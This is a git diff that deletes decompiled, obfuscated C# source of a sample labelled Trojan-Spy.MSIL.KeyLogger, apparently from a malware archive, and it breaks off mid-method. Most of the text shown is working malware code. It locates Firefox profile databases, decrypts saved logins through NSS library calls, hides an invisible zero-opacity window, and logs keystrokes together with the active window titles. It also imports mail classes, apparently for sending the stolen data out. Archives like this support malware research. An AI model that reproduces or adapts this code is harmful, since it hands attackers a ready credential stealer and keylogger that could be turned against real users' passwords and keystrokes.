typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString(\u0002.\u0003.\u0001.\u0001(221), ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0002.\u0003.\u0001.\u0001.Remove((object) typeof (T)); - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) => base.Equals(RuntimeHelpers.GetObjectValue(obj0)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - static \u0001() => \u0001.\u0002.\u0002(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 - { - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) => base.Equals(RuntimeHelpers.GetObjectValue(obj0)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003 where T : new() - { - [SpecialName] - internal T \u0002() - { - // ISSUE: reference to a compiler-generated field - if ((object) \u0002.\u0003.\u0003.\u0001 == null) - { - // ISSUE: reference to a compiler-generated field - \u0002.\u0003.\u0003.\u0001 = new T(); - } - // ISSUE: reference to a compiler-generated field - return \u0002.\u0003.\u0003.\u0001; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0003() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0001.cs deleted file mode 100644 index f3cb23eb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0001.cs +++ /dev/null @@ -1,196 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using \u0001; -using System; -using System.Data; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0003 -{ - internal class \u0001 - { - [NonSerialized] - internal static \u0001.\u0001 \u0001; - private IntPtr \u0001; - - [DllImport("kernel32", EntryPoint = "HeapAlloc")] - private static extern IntPtr \u0002([In] IntPtr obj0, [In] uint obj1, [In] uint obj2); - - [DllImport("kernel32", EntryPoint = "GetProcessHeap")] - private static extern IntPtr \u0002(); - - [DllImport("kernel32", EntryPoint = "lstrlen")] - private static extern int \u0002([In] IntPtr obj0); - - [DllImport("sqlite3", EntryPoint = "sqlite3_open")] - private static extern int \u0002([In] IntPtr obj0, [In] ref IntPtr obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_prepare_v2")] - private static extern int \u0002( - [In] IntPtr obj0, - [In] IntPtr obj1, - [In] int obj2, - [In] ref IntPtr obj3, - [In] ref IntPtr obj4); - - [DllImport("sqlite3", EntryPoint = "sqlite3_step")] - private static extern int \u0003([In] IntPtr obj0); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_count")] - private static extern int \u0004([In] IntPtr obj0); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_name")] - private static extern IntPtr \u0002([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_type")] - private static extern int \u0002([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_int")] - private static extern int \u0003([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_double")] - private static extern double \u0002([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_text")] - private static extern IntPtr \u0003([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_blob")] - private static extern IntPtr \u0004([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_finalize")] - private static extern int \u0005([In] IntPtr obj0); - - public \u0001() => this.\u0001 = IntPtr.Zero; - - public \u0001([In] string obj0) => this.\u0002(obj0); - - public void \u0002([In] string obj0) - { - if (\u0003.\u0001.\u0002(this.\u0002(obj0), ref this.\u0001) != 0) - { - this.\u0001 = IntPtr.Zero; - throw new Exception(\u0003.\u0001.\u0001(262) + obj0 + \u0003.\u0001.\u0001(303)); - } - } - - public DataTable \u0002([In] string obj0) - { - IntPtr num1; - IntPtr num2; - \u0003.\u0001.\u0002(this.\u0001, this.\u0002(obj0), this.\u0006(this.\u0002(obj0)), ref num1, ref num2); - DataTable dataTable = new DataTable(); - int num3 = this.\u0002(num1, ref dataTable); - while (num3 == 100) - num3 = this.\u0003(num1, ref dataTable); - \u0003.\u0001.\u0005(num1); - return dataTable; - } - - private int \u0002([In] IntPtr obj0, [In] ref DataTable obj1) - { - obj1 = new DataTable(\u0003.\u0001.\u0001(308)); - if (\u0003.\u0001.\u0003(obj0) == 100) - { - int num1 = \u0003.\u0001.\u0004(obj0); - string str = \u0003.\u0001.\u0001(325); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int index = 0; - while (index <= num2) - { - string columnName = this.\u0002(\u0003.\u0001.\u0002(obj0, index)); - switch (\u0003.\u0001.\u0002(obj0, index)) - { - case 1: - obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(326))); - objArray[index] = (object) \u0003.\u0001.\u0003(obj0, index); - break; - case 2: - obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(343))); - objArray[index] = (object) \u0003.\u0001.\u0002(obj0, index); - break; - case 3: - obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(364))); - objArray[index] = (object) this.\u0002(\u0003.\u0001.\u0003(obj0, index)); - break; - case 4: - obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(364))); - objArray[index] = (object) this.\u0002(\u0003.\u0001.\u0004(obj0, index)); - break; - default: - obj1.Columns.Add(columnName, Type.GetType(\u0003.\u0001.\u0001(364))); - objArray[index] = (object) \u0003.\u0001.\u0001(325); - break; - } - checked { ++index; } - } - obj1.Rows.Add(objArray); - } - return \u0003.\u0001.\u0003(obj0); - } - - private int \u0003([In] IntPtr obj0, [In] ref DataTable obj1) - { - int num1 = \u0003.\u0001.\u0004(obj0); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int index = 0; - while (index <= num2) - { - switch (\u0003.\u0001.\u0002(obj0, index)) - { - case 1: - objArray[index] = (object) \u0003.\u0001.\u0003(obj0, index); - break; - case 2: - objArray[index] = (object) \u0003.\u0001.\u0002(obj0, index); - break; - case 3: - objArray[index] = (object) this.\u0002(\u0003.\u0001.\u0003(obj0, index)); - break; - case 4: - objArray[index] = (object) this.\u0002(\u0003.\u0001.\u0004(obj0, index)); - break; - default: - objArray[index] = (object) \u0003.\u0001.\u0001(325); - break; - } - checked { ++index; } - } - obj1.Rows.Add(objArray); - return \u0003.\u0001.\u0003(obj0); - } - - private IntPtr \u0002([In] string obj0) - { - if (obj0 == null) - return IntPtr.Zero; - byte[] bytes = Encoding.UTF8.GetBytes(obj0); - uint num1 = checked ((uint) (bytes.Length + 1)); - IntPtr num2 = \u0003.\u0001.\u0002(\u0003.\u0001.\u0002(), 0U, num1); - Marshal.Copy(bytes, 0, num2, bytes.Length); - Marshal.WriteByte(num2, bytes.Length, (byte) 0); - return num2; - } - - private string \u0002([In] IntPtr obj0) - { - if (obj0 == IntPtr.Zero) - return (string) null; - Encoding utF8 = Encoding.UTF8; - int num = this.\u0006(obj0); - byte[] numArray = new byte[checked (num - 1 + 1)]; - Marshal.Copy(obj0, numArray, 0, num); - return utF8.GetString(numArray, 0, num); - } - - private int \u0006([In] IntPtr obj0) => obj0 == IntPtr.Zero ? 0 : \u0003.\u0001.\u0002(obj0); - - static \u0001() => \u0002.\u0002(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0002.cs deleted file mode 100644 index 35f3d37d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0002.cs +++ /dev/null @@ -1,190 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Data; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; -using System.Text.RegularExpressions; -using System.Windows.Forms; - -namespace \u0003 -{ - internal sealed class \u0002 - { - [NonSerialized] - internal static \u0001.\u0001 \u0001; - private static IntPtr \u0001; - public static string \u0001; - - public static void \u0002() - { - Path.GetTempPath(); - try - { - bool flag = false; - string str1 = Environment.GetEnvironmentVariable(\u0003.\u0002.\u0001(387)) + \u0003.\u0002.\u0001(404); - string[] directories = Directory.GetDirectories(Environment.GetEnvironmentVariable(\u0003.\u0002.\u0001(429)) + \u0003.\u0002.\u0001(442)); - int index1 = 0; - while (index1 < directories.Length) - { - string path = directories[index1]; - if (!flag) - { - string[] files = Directory.GetFiles(path); - int index2 = 0; - while (index2 < files.Length) - { - string input = files[index2]; - if (!flag) - { - if (Regex.IsMatch(input, \u0003.\u0002.\u0001(479))) - { - \u0003.\u0002.\u0002(path); - \u0003.\u0002.\u0001 = input; - } - checked { ++index2; } - } - else - break; - } - checked { ++index1; } - } - else - break; - } - string str2 = \u0003.\u0002.\u0001; - \u0003.\u0002.\u0001 obj1 = new \u0003.\u0002.\u0001(); - \u0003.\u0002.\u0001 obj2 = new \u0003.\u0002.\u0001(); - \u0003.\u0002.\u0001 obj3 = new \u0003.\u0002.\u0001(); - \u0003.\u0001 obj4 = new \u0003.\u0001(str2); - DataTable dataTable1 = obj4.\u0002(\u0003.\u0002.\u0001(500)); - DataTable dataTable2 = obj4.\u0002(\u0003.\u0002.\u0001(537)); - Console.WriteLine(\u0003.\u0002.\u0001(327)); - try - { - foreach (DataRow row in dataTable2.Rows) - Console.WriteLine(row[\u0003.\u0002.\u0001(582)].ToString()); - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - Console.WriteLine(); - Console.WriteLine(); - \u0003.\u0002.\u0002(\u0003.\u0002.\u0002(), true, 0L); - \u0002.\u0003.\u0002().\u0002().\u0004().Text += \u0003.\u0002.\u0001(595); - Console.WriteLine(); - try - { - foreach (DataRow row in dataTable1.Rows) - { - string str3 = Convert.ToString(row[\u0003.\u0002.\u0001(652)].ToString()); - TextBox textBox1 = \u0002.\u0003.\u0002().\u0002().\u0004(); - textBox1.Text = textBox1.Text + \u0003.\u0002.\u0001(673) + str3 + \u0003.\u0002.\u0001(686); - StringBuilder stringBuilder1 = new StringBuilder(row[\u0003.\u0002.\u0001(695)].ToString()); - IntPtr num = new IntPtr(\u0003.\u0002.\u0002(IntPtr.Zero, IntPtr.Zero, stringBuilder1, stringBuilder1.Length)); - \u0003.\u0002.\u0001 structure1 = (\u0003.\u0002.\u0001) Marshal.PtrToStructure(num, typeof (\u0003.\u0002.\u0001)); - if (\u0003.\u0002.\u0002(ref structure1, ref obj2, 0) == 0 && obj2.\u0003 != 0) - { - byte[] numArray = new byte[checked (obj2.\u0003 - 1 + 1)]; - num = new IntPtr(obj2.\u0002); - Marshal.Copy(num, numArray, 0, obj2.\u0003); - TextBox textBox2 = \u0002.\u0003.\u0002().\u0002().\u0004(); - textBox2.Text = textBox2.Text + \u0003.\u0002.\u0001(720) + Encoding.ASCII.GetString(numArray) + \u0003.\u0002.\u0001(686); - } - StringBuilder stringBuilder2 = new StringBuilder(row[\u0003.\u0002.\u0001(729)].ToString()); - num = new IntPtr(\u0003.\u0002.\u0002(IntPtr.Zero, IntPtr.Zero, stringBuilder2, stringBuilder2.Length)); - \u0003.\u0002.\u0001 structure2 = (\u0003.\u0002.\u0001) Marshal.PtrToStructure(num, typeof (\u0003.\u0002.\u0001)); - if (\u0003.\u0002.\u0002(ref structure2, ref obj3, 0) == 0 && obj3.\u0003 != 0) - { - byte[] numArray = new byte[checked (obj3.\u0003 - 1 + 1)]; - num = new IntPtr(obj3.\u0002); - Marshal.Copy(num, numArray, 0, obj3.\u0003); - TextBox textBox3 = \u0002.\u0003.\u0002().\u0002().\u0004(); - textBox3.Text = textBox3.Text + \u0003.\u0002.\u0001(754) + Encoding.ASCII.GetString(numArray) + \u0003.\u0002.\u0001(763); - } - \u0002.\u0003.\u0002().\u0002().\u0004().Text += \u0003.\u0002.\u0001(776); - Console.WriteLine(); - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - [DllImport("kernel32", EntryPoint = "LoadLibraryExA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr \u0002([MarshalAs(UnmanagedType.VBByRefStr)] ref string dllFilePath); - - [DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr \u0002([In] IntPtr obj0, [In] string obj1); - - public static long \u0002([In] string obj0) - { - string str = Environment.GetEnvironmentVariable(\u0003.\u0002.\u0001(387)) + \u0003.\u0002.\u0001(404); - string dllFilePath1 = str + \u0003.\u0002.\u0001(821); - \u0003.\u0002.\u0002(ref dllFilePath1); - string dllFilePath2 = str + \u0003.\u0002.\u0001(838); - \u0003.\u0002.\u0002(ref dllFilePath2); - string dllFilePath3 = str + \u0003.\u0002.\u0001(851); - \u0003.\u0002.\u0002(ref dllFilePath3); - string dllFilePath4 = str + \u0003.\u0002.\u0001(864); - \u0003.\u0002.\u0002(ref dllFilePath4); - string dllFilePath5 = str + \u0003.\u0002.\u0001(877); - \u0003.\u0002.\u0002(ref dllFilePath5); - string dllFilePath6 = str + \u0003.\u0002.\u0001(894); - \u0003.\u0002.\u0002(ref dllFilePath6); - string dllFilePath7 = str + \u0003.\u0002.\u0001(911); - \u0003.\u0002.\u0002(ref dllFilePath7); - string dllFilePath8 = str + \u0003.\u0002.\u0001(928); - \u0003.\u0002.\u0002(ref dllFilePath8); - string dllFilePath9 = str + \u0003.\u0002.\u0001(945); - \u0003.\u0002.\u0001 = \u0003.\u0002.\u0002(ref dllFilePath9); - return ((\u0003.\u0002.\u0002) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(958)), typeof (\u0003.\u0002.\u0002)))(obj0); - } - - public static long \u0002() => ((\u0003.\u0002.\u0003) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(971)), typeof (\u0003.\u0002.\u0003)))(); - - public static long \u0002([In] long obj0, [In] bool obj1, [In] long obj2) => ((\u0003.\u0002.\u0004) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(1004)), typeof (\u0003.\u0002.\u0004)))(obj0, obj1, obj2); - - public static int \u0002([In] IntPtr obj0, [In] IntPtr obj1, [In] StringBuilder obj2, [In] int obj3) => ((\u0003.\u0002.\u0005) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(1029)), typeof (\u0003.\u0002.\u0005)))(obj0, obj1, obj2, obj3); - - public static int \u0002([In] ref \u0003.\u0002.\u0001 obj0, [In] ref \u0003.\u0002.\u0001 obj1, [In] int obj2) => ((\u0003.\u0002.\u0006) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002.\u0002(\u0003.\u0002.\u0001, \u0003.\u0002.\u0001(1062)), typeof (\u0003.\u0002.\u0006)))(ref obj0, ref obj1, obj2); - - static \u0002() => \u0001.\u0002.\u0002(); - - public struct \u0001 - { - public int \u0001; - public int \u0002; - public int \u0003; - } - - public delegate long \u0002(string configdir); - - public delegate long \u0003(); - - public delegate long \u0004(long slot, bool loadCerts, long wincx); - - public delegate int \u0005(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen); - - public delegate int \u0006(ref \u0003.\u0002.\u0001 data, ref \u0003.\u0002.\u0001 result, int cx); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.cs deleted file mode 100644 index bc5c5c08..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.cs +++ /dev/null @@ -1,1091 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace \u0003 -{ - internal class \u0003 : Form - { - [NonSerialized] - internal static \u0001.\u0001 \u0001; - private IContainer \u0001; - private TextBox \u0001; - private TextBox \u0002; - private TextBox \u0003; - private System.Windows.Forms.Timer \u0001; - private TextBox \u0004; - private System.Windows.Forms.Timer \u0002; - private System.Windows.Forms.Timer \u0003; - private System.Windows.Forms.Timer \u0004; - private string \u0001; - private string \u0002; - private string \u0003; - private readonly byte[] \u0001; - private readonly byte[] \u0002; - private \u0005.\u0001.\u0001 \u0001; - private string[] \u0001; - private string \u0004; - private string \u0005; - private string \u0006; - private string \u0007; - private string \u0008; - private string \u000E; - private string \u000F; - private string \u0010; - private string \u0011; - private string \u0012; - private string \u0013; - private string \u0014; - private string \u0015; - private string \u0016; - private string \u0017; - private string \u0018; - private string \u0019; - private string \u001A; - private string \u001B; - private string \u001C; - private string \u001D; - private string \u001E; - private string \u001F; - private string \u007F; - private string \u0080; - private string \u0081; - private string \u0082; - private string \u0083; - private string \u0084; - private string \u0086; - private string \u0087; - private string \u0088; - private string \u0089; - private string \u008A; - private string \u008B; - private string \u008C; - private string \u008D; - private string \u008E; - private string \u008F; - private string \u0090; - private string \u0091; - private string \u0092; - private string \u0093; - private string \u0094; - private string \u0095; - private string \u0096; - private string \u0097; - private string \u0098; - private string \u0099; - private string \u009A; - private string \u009B; - private string \u009C; - private string \u009D; - private string \u009E; - private string \u009F; - private string \u0001\u0002; - private string \u0002\u0002; - private string \u0003\u0002; - private string \u0004\u0002; - private string \u0005\u0002; - private string \u0006\u0002; - private string \u0007\u0002; - private string \u0008\u0002; - private string \u000E\u0002; - private string \u000F\u0002; - private \u0003.\u0003.\u0001 \u0001; - private string \u0010\u0002; - private \u0004.\u0001.\u0001 \u0001; - private string \u0011\u0002; - private string \u0012\u0002; - - public \u0003() - { - this.FormClosing += new FormClosingEventHandler(this.\u0002); - this.Load += new EventHandler(this.\u0002); - this.\u0001 = Path.GetTempPath(); - this.\u0002 = \u0003.\u0003.\u0001(1089) + \u0002.\u0003.\u0002().Name + \u0003.\u0003.\u0001(1214); - this.\u0003 = \u0003.\u0003.\u0001(1428); - this.\u0001 = new byte[24] - { - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7, - (byte) 8, - (byte) 9, - (byte) 10, - (byte) 11, - (byte) 12, - (byte) 13, - (byte) 14, - (byte) 15, - (byte) 16, - (byte) 17, - (byte) 18, - (byte) 19, - (byte) 20, - (byte) 21, - (byte) 22, - (byte) 23, - (byte) 24 - }; - this.\u0002 = new byte[8] - { - byte.MaxValue, - (byte) 70, - (byte) 60, - (byte) 50, - (byte) 40, - (byte) 30, - (byte) 20, - (byte) 10 - }; - this.\u0001 = new \u0005.\u0001.\u0001(this.\u0001, this.\u0002); - this.\u0002(new \u0003.\u0003.\u0001()); - this.\u0010\u0002 = (string) null; - this.\u0002(new \u0004.\u0001.\u0001()); - this.\u0012\u0002 = (string) null; - this.\u0002(); - } - - [DebuggerNonUserCode] - protected override void Dispose([In] bool obj0) - { - try - { - if (!obj0 || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(obj0); - } - } - - private void \u0002() - { - this.\u0001 = (IContainer) new System.ComponentModel.Container(); - this.\u0002(new TextBox()); - this.\u0003(new TextBox()); - this.\u0004(new TextBox()); - this.\u0002(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0005(new TextBox()); - this.\u0003(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0004(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0005(new System.Windows.Forms.Timer(this.\u0001)); - this.SuspendLayout(); - this.\u0002().BorderStyle = BorderStyle.FixedSingle; - TextBox textBox1 = this.\u0002(); - Point point1 = new Point(15, 10); - Point point2 = point1; - textBox1.Location = point2; - this.\u0002().Multiline = true; - this.\u0002().Name = \u0003.\u0003.\u0001(1493); - TextBox textBox2 = this.\u0002(); - Size size1 = new Size(159, 34); - Size size2 = size1; - textBox2.Size = size2; - this.\u0002().TabIndex = 22; - TextBox textBox3 = this.\u0003(); - point1 = new Point(15, 200); - Point point3 = point1; - textBox3.Location = point3; - this.\u0003().Name = \u0003.\u0003.\u0001(1506); - TextBox textBox4 = this.\u0003(); - size1 = new Size(16, 20); - Size size3 = size1; - textBox4.Size = size3; - this.\u0003().TabIndex = 23; - this.\u0004().BorderStyle = BorderStyle.FixedSingle; - TextBox textBox5 = this.\u0004(); - point1 = new Point(15, 103); - Point point4 = point1; - textBox5.Location = point4; - this.\u0004().Multiline = true; - this.\u0004().Name = \u0003.\u0003.\u0001(1531); - TextBox textBox6 = this.\u0004(); - size1 = new Size(159, 34); - Size size4 = size1; - textBox6.Size = size4; - this.\u0004().TabIndex = 24; - TextBox textBox7 = this.\u0005(); - point1 = new Point(118, 200); - Point point5 = point1; - textBox7.Location = point5; - this.\u0005().Name = \u0003.\u0003.\u0001(1540); - TextBox textBox8 = this.\u0005(); - size1 = new Size(16, 20); - Size size5 = size1; - textBox8.Size = size5; - this.\u0005().TabIndex = 25; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(42, 22); - this.ClientSize = size1; - this.Controls.Add((Control) this.\u0005()); - this.Controls.Add((Control) this.\u0004()); - this.Controls.Add((Control) this.\u0003()); - this.Controls.Add((Control) this.\u0002()); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = \u0003.\u0003.\u0001(1553); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.Text = \u0003.\u0003.\u0001(1562); - this.WindowState = FormWindowState.Minimized; - this.ResumeLayout(false); - this.PerformLayout(); - } - - [SpecialName] - internal virtual TextBox \u0002() => this.\u0001; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0002([In] TextBox obj0) => this.\u0001 = obj0; - - [SpecialName] - internal virtual TextBox \u0003() => this.\u0002; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] TextBox obj0) => this.\u0002 = obj0; - - [SpecialName] - internal virtual TextBox \u0004() => this.\u0003; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0004([In] TextBox obj0) => this.\u0003 = obj0; - - [SpecialName] - internal virtual System.Windows.Forms.Timer \u0002() => this.\u0001; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0002([In] System.Windows.Forms.Timer obj0) - { - EventHandler eventHandler = new EventHandler(this.\u0003); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [SpecialName] - internal virtual TextBox \u0005() => this.\u0004; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0005([In] TextBox obj0) => this.\u0004 = obj0; - - [SpecialName] - internal virtual System.Windows.Forms.Timer \u0003() => this.\u0002; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] System.Windows.Forms.Timer obj0) - { - EventHandler eventHandler = new EventHandler(this.\u0004); - if (this.\u0002 != null) - this.\u0002.Tick -= eventHandler; - this.\u0002 = obj0; - if (this.\u0002 == null) - return; - this.\u0002.Tick += eventHandler; - } - - [SpecialName] - internal virtual System.Windows.Forms.Timer \u0004() => this.\u0003; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0004([In] System.Windows.Forms.Timer obj0) - { - EventHandler eventHandler = new EventHandler(this.\u0005); - if (this.\u0003 != null) - this.\u0003.Tick -= eventHandler; - this.\u0003 = obj0; - if (this.\u0003 == null) - return; - this.\u0003.Tick += eventHandler; - } - - [SpecialName] - internal virtual System.Windows.Forms.Timer \u0005() => this.\u0004; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0005([In] System.Windows.Forms.Timer obj0) - { - EventHandler eventHandler = new EventHandler(this.\u0006); - if (this.\u0004 != null) - this.\u0004.Tick -= eventHandler; - this.\u0004 = obj0; - if (this.\u0004 == null) - return; - this.\u0004.Tick += eventHandler; - } - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - private virtual void \u0002([In] \u0003.\u0003.\u0001 obj0) => this.\u0001 = obj0; - - [DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string \u0002() - { - string lpString = new string(char.MinValue, 100); - \u0003.\u0003.\u0002(\u0003.\u0003.\u0002(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, \u0003.\u0003.\u0001(1575)) - 1)); - } - - [SpecialName] - private virtual \u0004.\u0001.\u0001 \u0002() => this.\u0001; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - private virtual void \u0002([In] \u0004.\u0001.\u0001 obj0) - { - \u0004.\u0001.\u0001.\u0002 obj = new \u0004.\u0001.\u0001.\u0002(this.\u0002); - if (this.\u0001 != null) - \u0004.\u0001.\u0001.\u0003(obj); - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - \u0004.\u0001.\u0001.\u0002(obj); - } - - private void \u0002([In] object obj0, [In] FormClosingEventArgs obj1) => this.\u0002().\u0003(); - - private void \u0002([In] string obj0) - { - try - { - if (Operators.CompareString(this.\u0010\u0002, this.\u0002(), false) != 0 && Operators.CompareString(this.\u0002(), \u0003.\u0003.\u0001(333), false) != 0) - { - this.\u0002().Text = this.\u0002().Text + \u0003.\u0003.\u0001(1580) + this.\u0002() + \u0003.\u0003.\u0001(1613); - this.\u0010\u0002 = this.\u0002(); - } - this.\u0011\u0002 += obj0; - this.\u0002().Text += obj0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0002([In] object obj0, [In] EventArgs obj1) - { - 